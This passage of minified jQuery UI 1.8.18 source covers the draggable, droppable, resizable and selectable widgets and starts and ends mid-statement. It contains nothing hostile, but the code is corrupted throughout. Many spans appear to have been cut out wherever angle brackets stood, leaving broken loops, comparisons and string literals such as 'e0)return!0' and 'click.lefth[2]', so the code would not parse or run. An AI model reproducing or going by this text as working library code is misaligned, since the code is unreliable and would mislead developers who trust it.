e=d==="Width"?["Left","Right"]:["Top","Bottom"],f=d.toLowerCase(),g={innerWidth:a.fn.innerWidth,innerHeight:a.fn.innerHeight,outerWidth:a.fn.outerWidth,outerHeight:a.fn.outerHeight};a.fn["inner"+d]=function(c){if(c===b)return g["inner"+d].call(this);return this.each(function(){a(this).css(f,h(this,c)+"px")})},a.fn["outer"+d]=function(b,c){if(typeof b!="number")return g["outer"+d].call(this,b);return this.each(function(){a(this).css(f,h(this,b,!0,c)+"px")})}}),a.extend(a.expr[":"],{data:function(b,c,d){return!!a.data(b,d[3])},focusable:function(b){return c(b,!isNaN(a.attr(b,"tabindex")))},tabbable:function(b){var d=a.attr(b,"tabindex"),e=isNaN(d);return(e||d>=0)&&c(b,!e)}}),a(function(){var b=document.body,c=b.appendChild(c=document.createElement("div"));c.offsetHeight,a.extend(c.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0}),a.support.minHeight=c.offsetHeight===100,a.support.selectstart="onselectstart"in c,b.removeChild(c).style.display="none"}),a.extend(a.ui,{plugin:{add:function(b,c,d){var e=a.ui[b].prototype;for(var f in d)e.plugins[f]=e.plugins[f]||[],e.plugins[f].push([c,d[f]])},call:function(a,b,c){var d=a.plugins[b];if(!!d&&!!a.element[0].parentNode)for(var e=0;e0)return!0;b[d]=1,e=b[d]>0,b[d]=0;return e},isOverAxis:function(a,b,c){return a>b&&a=9)&&!b.button)return this._mouseUp(b);if(this._mouseStarted){this._mouseDrag(b);return b.preventDefault()}this._mouseDistanceMet(b)&&this._mouseDelayMet(b)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,b)!==!1,this._mouseStarted?this._mouseDrag(b):this._mouseUp(b));return!this._mouseStarted},_mouseUp:function(b){a(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,b.target==this._mouseDownEvent.target&&a.data(b.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(b));return!1},_mouseDistanceMet:function(a){return Math.max(Math.abs(this._mouseDownEvent.pageX-a.pageX),Math.abs(this._mouseDownEvent.pageY-a.pageY))>=this.options.distance},_mouseDelayMet:function(a){return this.mouseDelayMet},_mouseStart:function(a){},_mouseDrag:function(a){},_mouseStop:function(a){},_mouseCapture:function(a){return!0}})}(jQuery),function(a,b){a.widget("ui.draggable",a.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1},_create:function(){this.options.helper=="original"&&!/^(?:r|a|f)/.test(this.element.css("position"))&&(this.element[0].style.position="relative"),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._mouseInit()},destroy:function(){if(!!this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._mouseDestroy();return this}},_mouseCapture:function(b){var c=this.options;if(this.helper||c.disabled||a(b.target).is(".ui-resizable-handle"))return!1;this.handle=this._getHandle(b);if(!this.handle)return!1;c.iframeFix&&a(c.iframeFix===!0?"iframe":c.iframeFix).each(function(){a('
').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1e3}).css(a(this).offset()).appendTo("body")});return!0},_mouseStart:function(b){var c=this.options;this.helper=this._createHelper(b),this._cacheHelperProportions(),a.ui.ddmanager&&(a.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(),this.offset=this.positionAbs=this.element.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},a.extend(this.offset,{click:{left:b.pageX-this.offset.left,top:b.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.originalPosition=this.position=this._generatePosition(b),this.originalPageX=b.pageX,this.originalPageY=b.pageY,c.cursorAt&&this._adjustOffsetFromHelper(c.cursorAt),c.containment&&this._setContainment();if(this._trigger("start",b)===!1){this._clear();return!1}this._cacheHelperProportions(),a.ui.ddmanager&&!c.dropBehaviour&&a.ui.ddmanager.prepareOffsets(this,b),this.helper.addClass("ui-draggable-dragging"),this._mouseDrag(b,!0),a.ui.ddmanager&&a.ui.ddmanager.dragStart(this,b);return!0},_mouseDrag:function(b,c){this.position=this._generatePosition(b),this.positionAbs=this._convertPositionTo("absolute");if(!c){var d=this._uiHash();if(this._trigger("drag",b,d)===!1){this._mouseUp({});return!1}this.position=d.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis||this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";a.ui.ddmanager&&a.ui.ddmanager.drag(this,b);return!1},_mouseStop:function(b){var c=!1;a.ui.ddmanager&&!this.options.dropBehaviour&&(c=a.ui.ddmanager.drop(this,b)),this.dropped&&(c=this.dropped,this.dropped=!1);if((!this.element[0]||!this.element[0].parentNode)&&this.options.helper=="original")return!1;if(this.options.revert=="invalid"&&!c||this.options.revert=="valid"&&c||this.options.revert===!0||a.isFunction(this.options.revert)&&this.options.revert.call(this.element,c)){var d=this;a(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){d._trigger("stop",b)!==!1&&d._clear()})}else this._trigger("stop",b)!==!1&&this._clear();return!1},_mouseUp:function(b){this.options.iframeFix===!0&&a("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)}),a.ui.ddmanager&&a.ui.ddmanager.dragStop(this,b);return a.ui.mouse.prototype._mouseUp.call(this,b)},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(b){var c=!this.options.handle||!a(this.options.handle,this.element).length?!0:!1;a(this.options.handle,this.element).find("*").andSelf().each(function(){this==b.target&&(c=!0)});return c},_createHelper:function(b){var c=this.options,d=a.isFunction(c.helper)?a(c.helper.apply(this.element[0],[b])):c.helper=="clone"?this.element.clone().removeAttr("id"):this.element;d.parents("body").length||d.appendTo(c.appendTo=="parent"?this.element[0].parentNode:c.appendTo),d[0]!=this.element[0]&&!/(fixed|absolute)/.test(d.css("position"))&&d.css("position","absolute");return d},_adjustOffsetFromHelper:function(b){typeof b=="string"&&(b=b.split(" ")),a.isArray(b)&&(b={left:+b[0],top:+b[1]||0}),"left"in b&&(this.offset.click.left=b.left+this.margins.left),"right"in b&&(this.offset.click.left=this.helperProportions.width-b.right+this.margins.left),"top"in b&&(this.offset.click.top=b.top+this.margins.top),"bottom"in b&&(this.offset.click.top=this.helperProportions.height-b.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var b=this.offsetParent.offset();this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])&&(b.left+=this.scrollParent.scrollLeft(),b.top+=this.scrollParent.scrollTop());if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)b={top:0,left:0};return{top:b.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:b.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var a=this.element.position();return{top:a.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:a.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var b=this.options;b.containment=="parent"&&(b.containment=this.helper[0].parentNode);if(b.containment=="document"||b.containment=="window")this.containment=[b.containment=="document"?0:a(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,b.containment=="document"?0:a(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,(b.containment=="document"?0:a(window).scrollLeft())+a(b.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(b.containment=="document"?0:a(window).scrollTop())+(a(b.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(b.containment)&&b.containment.constructor!=Array){var c=a(b.containment),d=c[0];if(!d)return;var e=c.offset(),f=a(d).css("overflow")!="hidden";this.containment=[(parseInt(a(d).css("borderLeftWidth"),10)||0)+(parseInt(a(d).css("paddingLeft"),10)||0),(parseInt(a(d).css("borderTopWidth"),10)||0)+(parseInt(a(d).css("paddingTop"),10)||0),(f?Math.max(d.scrollWidth,d.offsetWidth):d.offsetWidth)-(parseInt(a(d).css("borderLeftWidth"),10)||0)-(parseInt(a(d).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(f?Math.max(d.scrollHeight,d.offsetHeight):d.offsetHeight)-(parseInt(a(d).css("borderTopWidth"),10)||0)-(parseInt(a(d).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relative_container=c}else b.containment.constructor==Array&&(this.containment=b.containment)},_convertPositionTo:function(b,c){c||(c=this.position);var d=b=="absolute"?1:-1,e=this.options,f=this.cssPosition=="absolute"&&(this.scrollParent[0]==document||!a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,g=/(html|body)/i.test(f[0].tagName);return{top:c.top+this.offset.relative.top*d+this.offset.parent.top*d-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():g?0:f.scrollTop())*d),left:c.left+this.offset.relative.left*d+this.offset.parent.left*d-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():g?0:f.scrollLeft())*d)}},_generatePosition:function(b){var c=this.options,d=this.cssPosition=="absolute"&&(this.scrollParent[0]==document||!a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,e=/(html|body)/i.test(d[0].tagName),f=b.pageX,g=b.pageY;if(this.originalPosition){var h;if(this.containment){if(this.relative_container){var i=this.relative_container.offset();h=[this.containment[0]+i.left,this.containment[1]+i.top,this.containment[2]+i.left,this.containment[3]+i.top]}else h=this.containment;b.pageX-this.offset.click.lefth[2]&&(f=h[2]+this.offset.click.left),b.pageY-this.offset.click.top>h[3]&&(g=h[3]+this.offset.click.top)}if(c.grid){var j=c.grid[1]?this.originalPageY+Math.round((g-this.originalPageY)/c.grid[1])*c.grid[1]:this.originalPageY;g=h?j-this.offset.click.toph[3]?j-this.offset.click.toph[2]?k-this.offset.click.left=0;k--){var l=d.snapElements[k].left,m=l+d.snapElements[k].width,n=d.snapElements[k].top,o=n+d.snapElements[k].height;if(!(l-f=k&&g<=l||h>=k&&h<=l||gl)&&(e>=i&&e<=j||f>=i&&f<=j||ej);default:return!1}},a.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(b,c){var d=a.ui.ddmanager.droppables[b.options.scope]||[],e=c?c.type:null,f=(b.currentItem||b.element).find(":data(droppable)").andSelf();droppablesLoop:for(var g=0;g').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("resizable",this.element.data("resizable")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=c.handles||(a(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se");if(this.handles.constructor==String){this.handles=="all"&&(this.handles="n,e,s,w,se,sw,ne,nw");var d=this.handles.split(",");this.handles={};for(var e=0;e');/sw|se|ne|nw/.test(f)&&h.css({zIndex:++c.zIndex}),"se"==f&&h.addClass("ui-icon ui-icon-gripsmall-diagonal-se"),this.handles[f]=".ui-resizable-"+f,this.element.append(h)}}this._renderAxis=function(b){b=b||this.element;for(var c in this.handles){this.handles[c].constructor==String&&(this.handles[c]=a(this.handles[c],this.element).show());if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var d=a(this.handles[c],this.element),e=0;e=/sw|ne|nw|se|n|s/.test(c)?d.outerHeight():d.outerWidth();var f=["padding",/ne|nw|n/.test(c)?"Top":/se|sw|s/.test(c)?"Bottom":/^e$/.test(c)?"Right":"Left"].join("");b.css(f,e),this._proportionallyResize()}if(!a(this.handles[c]).length)continue}},this._renderAxis(this.element),this._handles=a(".ui-resizable-handle",this.element).disableSelection(),this._handles.mouseover(function(){if(!b.resizing){if(this.className)var a=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);b.axis=a&&a[1]?a[1]:"se"}}),c.autoHide&&(this._handles.hide(),a(this.element).addClass("ui-resizable-autohide").hover(function(){c.disabled||(a(this).removeClass("ui-resizable-autohide"),b._handles.show())},function(){c.disabled||b.resizing||(a(this).addClass("ui-resizable-autohide"),b._handles.hide())})),this._mouseInit()},destroy:function(){this._mouseDestroy();var b=function(b){a(b).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){b(this.element);var c=this.element;c.after(this.originalElement.css({position:c.css("position"),width:c.outerWidth(),height:c.outerHeight(),top:c.css("top"),left:c.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle),b(this.originalElement);return this},_mouseCapture:function(b){var c=!1;for(var d in this.handles)a(this.handles[d])[0]==b.target&&(c=!0);return!this.options.disabled&&c},_mouseStart:function(b){var d=this.options,e=this.element.position(),f=this.element;this.resizing=!0,this.documentScroll={top:a(document).scrollTop(),left:a(document).scrollLeft()},(f.is(".ui-draggable")||/absolute/.test(f.css("position")))&&f.css({position:"absolute",top:e.top,left:e.left}),this._renderProxy();var g=c(this.helper.css("left")),h=c(this.helper.css("top"));d.containment&&(g+=a(d.containment).scrollLeft()||0,h+=a(d.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:g,top:h},this.size=this._helper?{width:f.outerWidth(),height:f.outerHeight()}:{width:f.width(),height:f.height()},this.originalSize=this._helper?{width:f.outerWidth(),height:f.outerHeight()}:{width:f.width(),height:f.height()},this.originalPosition={left:g,top:h},this.sizeDiff={width:f.outerWidth()-f.width(),height:f.outerHeight()-f.height()},this.originalMousePosition={left:b.pageX,top:b.pageY},this.aspectRatio=typeof d.aspectRatio=="number"?d.aspectRatio:this.originalSize.width/this.originalSize.height||1;var i=a(".ui-resizable-"+this.axis).css("cursor");a("body").css("cursor",i=="auto"?this.axis+"-resize":i),f.addClass("ui-resizable-resizing"),this._propagate("start",b);return!0},_mouseDrag:function(b){var c=this.helper,d=this.options,e={},f=this,g=this.originalMousePosition,h=this.axis,i=b.pageX-g.left||0,j=b.pageY-g.top||0,k=this._change[h];if(!k)return!1;var l=k.apply(this,[b,i,j]),m=a.browser.msie&&a.browser.version<7,n=this.sizeDiff;this._updateVirtualBoundaries(b.shiftKey);if(this._aspectRatio||b.shiftKey)l=this._updateRatio(l,b);l=this._respectSize(l,b),this._propagate("resize",b),c.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"}),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),this._updateCache(l),this._trigger("resize",b,this.ui());return!1},_mouseStop:function(b){this.resizing=!1;var c=this.options,d=this;if(this._helper){var e=this._proportionallyResizeElements,f=e.length&&/textarea/i.test(e[0].nodeName),g=f&&a.ui.hasScroll(e[0],"left")?0:d.sizeDiff.height,h=f?0:d.sizeDiff.width,i={width:d.helper.width()-h,height:d.helper.height()-g},j=parseInt(d.element.css("left"),10)+(d.position.left-d.originalPosition.left)||null,k=parseInt(d.element.css("top"),10)+(d.position.top-d.originalPosition.top)||null;c.animate||this.element.css(a.extend(i,{top:k,left:j})),d.helper.height(d.size.height),d.helper.width(d.size.width),this._helper&&!c.animate&&this._proportionallyResize()}a("body").css("cursor","auto"),this.element.removeClass("ui-resizable-resizing"),this._propagate("stop",b),this._helper&&this.helper.remove();return!1},_updateVirtualBoundaries:function(a){var b=this.options,c,e,f,g,h;h={minWidth:d(b.minWidth)?b.minWidth:0,maxWidth:d(b.maxWidth)?b.maxWidth:Infinity,minHeight:d(b.minHeight)?b.minHeight:0,maxHeight:d(b.maxHeight)?b.maxHeight:Infinity};if(this._aspectRatio||a)c=h.minHeight*this.aspectRatio,f=h.minWidth/this.aspectRatio,e=h.maxHeight*this.aspectRatio,g=h.maxWidth/this.aspectRatio,c>h.minWidth&&(h.minWidth=c),f>h.minHeight&&(h.minHeight=f),ea.width,k=d(a.height)&&e.minHeight&&e.minHeight>a.height;j&&(a.width=e.minWidth),k&&(a.height=e.minHeight),h&&(a.width=e.maxWidth),i&&(a.height=e.maxHeight);var l=this.originalPosition.left+this.originalSize.width,m=this.position.top+this.size.height,n=/sw|nw|w/.test(g),o=/nw|ne|n/.test(g);j&&n&&(a.left=l-e.minWidth),h&&n&&(a.left=l-e.maxWidth),k&&o&&(a.top=m-e.minHeight),i&&o&&(a.top=m-e.maxHeight);var p=!a.width&&!a.height;p&&!a.left&&a.top?a.top=null:p&&!a.top&&a.left&&(a.left=null);return a},_proportionallyResize:function(){var b=this.options;if(!!this._proportionallyResizeElements.length){var c=this.helper||this.element;for(var d=0;d');var d=a.browser.msie&&a.browser.version<7,e=d?1:0,f=d?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+f,height:this.element.outerHeight()+f,position:"absolute",left:this.elementOffset.left-e+"px",top:this.elementOffset.top-e+"px",zIndex:++c.zIndex}),this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(a,b,c){return{width:this.originalSize.width+b}},w:function(a,b,c){var d=this.options,e=this.originalSize,f=this.originalPosition;return{left:f.left+b,width:e.width-b}},n:function(a,b,c){var d=this.options,e=this.originalSize,f=this.originalPosition;return{top:f.top+c,height:e.height-c}},s:function(a,b,c){return{height:this.originalSize.height+c}},se:function(b,c,d){return a.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[b,c,d]))},sw:function(b,c,d){return a.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[b,c,d]))},ne:function(b,c,d){return a.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[b,c,d]))},nw:function(b,c,d){return a.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[b,c,d]))}},_propagate:function(b,c){a.ui.plugin.call(this,b,[c,this.ui()]),b!="resize"&&this._trigger(b,c,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),a.extend(a.ui.resizable,{version:"1.8.18"}),a.ui.plugin.add("resizable","alsoResize",{start:function(b,c){var d=a(this).data("resizable"),e=d.options,f=function(b){a(b).each(function(){var b=a(this);b.data("resizable-alsoresize",{width:parseInt(b.width(),10),height:parseInt(b.height(),10),left:parseInt(b.css("left"),10),top:parseInt(b.css("top"),10)})})};typeof e.alsoResize=="object"&&!e.alsoResize.parentNode?e.alsoResize.length?(e.alsoResize=e.alsoResize[0],f(e.alsoResize)):a.each(e.alsoResize,function(a){f(a)}):f(e.alsoResize)},resize:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.originalSize,g=d.originalPosition,h={height:d.size.height-f.height||0,width:d.size.width-f.width||0,top:d.position.top-g.top||0,left:d.position.left-g.left||0},i=function(b,d){a(b).each(function(){var b=a(this),e=a(this).data("resizable-alsoresize"),f={},g=d&&d.length?d:b.parents(c.originalElement[0]).length?["width","height"]:["width","height","top","left"];a.each(g,function(a,b){var c=(e[b]||0)+(h[b]||0);c&&c>=0&&(f[b]=c||null)}),b.css(f)})};typeof e.alsoResize=="object"&&!e.alsoResize.nodeType?a.each(e.alsoResize,function(a,b){i(a,b)}):i(e.alsoResize)},stop:function(b,c){a(this).removeData("resizable-alsoresize")}}),a.ui.plugin.add("resizable","animate",{stop:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d._proportionallyResizeElements,g=f.length&&/textarea/i.test(f[0].nodeName),h=g&&a.ui.hasScroll(f[0],"left")?0:d.sizeDiff.height,i=g?0:d.sizeDiff.width,j={width:d.size.width-i,height:d.size.height-h},k=parseInt(d.element.css("left"),10)+(d.position.left-d.originalPosition.left)||null,l=parseInt(d.element.css("top"),10)+(d.position.top-d.originalPosition.top)||null;d.element.animate(a.extend(j,l&&k?{top:l,left:k}:{}),{duration:e.animateDuration,easing:e.animateEasing,step:function(){var c={width:parseInt(d.element.css("width"),10),height:parseInt(d.element.css("height"),10),top:parseInt(d.element.css("top"),10),left:parseInt(d.element.css("left"),10)};f&&f.length&&a(f[0]).css({width:c.width,height:c.height}),d._updateCache(c),d._propagate("resize",b)}})}}),a.ui.plugin.add("resizable","containment",{start:function(b,d){var e=a(this).data("resizable"),f=e.options,g=e.element,h=f.containment,i=h instanceof a?h.get(0):/parent/.test(h)?g.parent().get(0):h;if(!!i){e.containerElement=a(i);if(/document/.test(h)||h==document)e.containerOffset={left:0,top:0},e.containerPosition={left:0,top:0},e.parentData={element:a(document),left:0,top:0,width:a(document).width(),height:a(document).height()||document.body.parentNode.scrollHeight};else{var j=a(i),k=[];a(["Top","Right","Left","Bottom"]).each(function(a,b){k[a]=c(j.css("padding"+b))}),e.containerOffset=j.offset(),e.containerPosition=j.position(),e.containerSize={height:j.innerHeight()-k[3],width:j.innerWidth()-k[1]};var l=e.containerOffset,m=e.containerSize.height,n=e.containerSize.width,o=a.ui.hasScroll(i,"left")?i.scrollWidth:n,p=a.ui.hasScroll(i)?i.scrollHeight:m;e.parentData={element:i,left:l.left,top:l.top,width:o,height:p}}}},resize:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.containerSize,g=d.containerOffset,h=d.size,i=d.position,j=d._aspectRatio||b.shiftKey,k={top:0,left:0},l=d.containerElement;l[0]!=document&&/static/.test(l.css("position"))&&(k=g),i.left<(d._helper?g.left:0)&&(d.size.width=d.size.width+(d._helper?d.position.left-g.left:d.position.left-k.left),j&&(d.size.height=d.size.width/e.aspectRatio),d.position.left=e.helper?g.left:0),i.top<(d._helper?g.top:0)&&(d.size.height=d.size.height+(d._helper?d.position.top-g.top:d.position.top),j&&(d.size.width=d.size.height*e.aspectRatio),d.position.top=d._helper?g.top:0),d.offset.left=d.parentData.left+d.position.left,d.offset.top=d.parentData.top+d.position.top;var m=Math.abs((d._helper?d.offset.left-k.left:d.offset.left-k.left)+d.sizeDiff.width),n=Math.abs((d._helper?d.offset.top-k.top:d.offset.top-g.top)+d.sizeDiff.height),o=d.containerElement.get(0)==d.element.parent().get(0),p=/relative|absolute/.test(d.containerElement.css("position"));o&&p&&(m-=d.parentData.left),m+d.size.width>=d.parentData.width&&(d.size.width=d.parentData.width-m,j&&(d.size.height=d.size.width/d.aspectRatio)),n+d.size.height>=d.parentData.height&&(d.size.height=d.parentData.height-n,j&&(d.size.width=d.size.height*d.aspectRatio))},stop:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.position,g=d.containerOffset,h=d.containerPosition,i=d.containerElement,j=a(d.helper),k=j.offset(),l=j.outerWidth()-d.sizeDiff.width,m=j.outerHeight()-d.sizeDiff.height;d._helper&&!e.animate&&/relative/.test(i.css("position"))&&a(this).css({left:k.left-h.left-g.left,width:l,height:m}),d._helper&&!e.animate&&/static/.test(i.css("position"))&&a(this).css({left:k.left-h.left-g.left,width:l,height:m})}}),a.ui.plugin.add("resizable","ghost",{start:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.size;d.ghost=d.originalElement.clone(),d.ghost.css({opacity:.25,display:"block",position:"relative",height:f.height,width:f.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof e.ghost=="string"?e.ghost:""),d.ghost.appendTo(d.helper)},resize:function(b,c){var d=a(this).data("resizable"),e=d.options;d.ghost&&d.ghost.css({position:"relative",height:d.size.height,width:d.size.width})},stop:function(b,c){var d=a(this).data("resizable"),e=d.options;d.ghost&&d.helper&&d.helper.get(0).removeChild(d.ghost.get(0))}}),a.ui.plugin.add("resizable","grid",{resize:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.size,g=d.originalSize,h=d.originalPosition,i=d.axis,j=e._aspectRatio||b.shiftKey;e.grid=typeof e.grid=="number"?[e.grid,e.grid]:e.grid;var k=Math.round((f.width-g.width)/(e.grid[0]||1))*(e.grid[0]||1),l=Math.round((f.height-g.height)/(e.grid[1]||1))*(e.grid[1]||1);/^(se|s|e)$/.test(i)?(d.size.width=g.width+k,d.size.height=g.height+l):/^(ne)$/.test(i)?(d.size.width=g.width+k,d.size.height=g.height+l,d.position.top=h.top-l):/^(sw)$/.test(i)?(d.size.width=g.width+k,d.size.height=g.height+l,d.position.left=h.left-k):(d.size.width=g.width+k,d.size.height=g.height+l,d.position.top=h.top-l,d.position.left=h.left-k)}});var c=function(a){return parseInt(a,10)||0},d=function(a){return!isNaN(parseInt(a,10))}}(jQuery),function(a,b){a.widget("ui.selectable",a.ui.mouse,{options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch"},_create:function(){var b=this;this.element.addClass("ui-selectable"),this.dragged=!1;var c;this.refresh=function(){c=a(b.options.filter,b.element[0]),c.addClass("ui-selectee"),c.each(function(){var b=a(this),c=b.offset();a.data(this,"selectable-item",{element:this,$element:b,left:c.left,top:c.top,right:c.left+b.outerWidth(),bottom:c.top+b.outerHeight(),startselected:!1,selected:b.hasClass("ui-selected"),selecting:b.hasClass("ui-selecting"),unselecting:b.hasClass("ui-unselecting")})})},this.refresh(),this.selectees=c.addClass("ui-selectee"),this._mouseInit(),this.helper=a("
")},destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item"),this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable"),this._mouseDestroy();return this},_mouseStart:function(b){var c=this;this.opos=[b.pageX,b.pageY];if(!this.options.disabled){var d=this.options;this.selectees=a(d.filter,this.element[0]),this._trigger("start",b),a(d.appendTo).append(this.helper),this.helper.css({left:b.clientX,top:b.clientY,width:0,height:0}),d.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var d=a.data(this,"selectable-item");d.startselected=!0,!b.metaKey&&!b.ctrlKey&&(d.$element.removeClass("ui-selected"),d.selected=!1,d.$element.addClass("ui-unselecting"),d.unselecting=!0,c._trigger("unselecting",b,{unselecting:d.element}))}),a(b.target).parents().andSelf().each(function(){var d=a.data(this,"selectable-item");if(d){var e=!b.metaKey&&!b.ctrlKey||!d.$element.hasClass("ui-selected");d.$element.removeClass(e?"ui-unselecting":"ui-selected").addClass(e?"ui-selecting":"ui-unselecting"),d.unselecting=!e,d.selecting=e,d.selected=e,e?c._trigger("selecting",b,{selecting:d.element}):c._trigger("unselecting",b,{unselecting:d.element});return!1}})}},_mouseDrag:function(b){var c=this;this.dragged=!0;if(!this.options.disabled){var d=this.options,e=this.opos[0],f=this.opos[1],g=b.pageX,h=b.pageY;if(e>g){var i=g;g=e,e=i}if(f>h){var i=h;h=f,f=i}this.helper.css({left:e,top:f,width:g-e,height:h-f}),this.selectees.each(function(){var i=a.data(this,"selectable-item");if(!!i&&i.element!=c.element[0]){var j=!1;d.tolerance=="touch"?j=!(i.left>g||i.righth||i.bottome&&i.rightf&&i.bottom *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3},_create:function(){var a=this.options;this.containerCache={},this.element.addClass("ui-sortable"),this.refresh(),this.floating=this.items.length?a.axis==="x"||/left|right/.test(this.items[0].item.css("float"))||/inline|table-cell/.test(this.items[0].item.css("display")):!1,this.offset=this.element.offset(),this._mouseInit(),this.ready=!0},destroy:function(){a.Widget.prototype.destroy.call(this),this.element.removeClass("ui-sortable ui-sortable-disabled"),this._mouseDestroy();for(var b=this.items.length-1;b>=0;b--)this.items[b].item.removeData(this.widgetName+"-item");return this},_setOption:function(b,c){b==="disabled"?(this.options[b]=c,this.widget()[c?"addClass":"removeClass"]("ui-sortable-disabled")):a.Widget.prototype._setOption.apply(this,arguments)},_mouseCapture:function(b,c){var d=this;if(this.reverting)return!1;if(this.options.disabled||this.options.type=="static")return!1;this._refreshItems(b);var e=null,f=this,g=a(b.target).parents().each(function(){if(a.data(this,d.widgetName+"-item")==f){e=a(this);return!1}});a.data(b.target,d.widgetName+"-item")==f&&(e=a(b.target));if(!e)return!1;if(this.options.handle&&!c){var 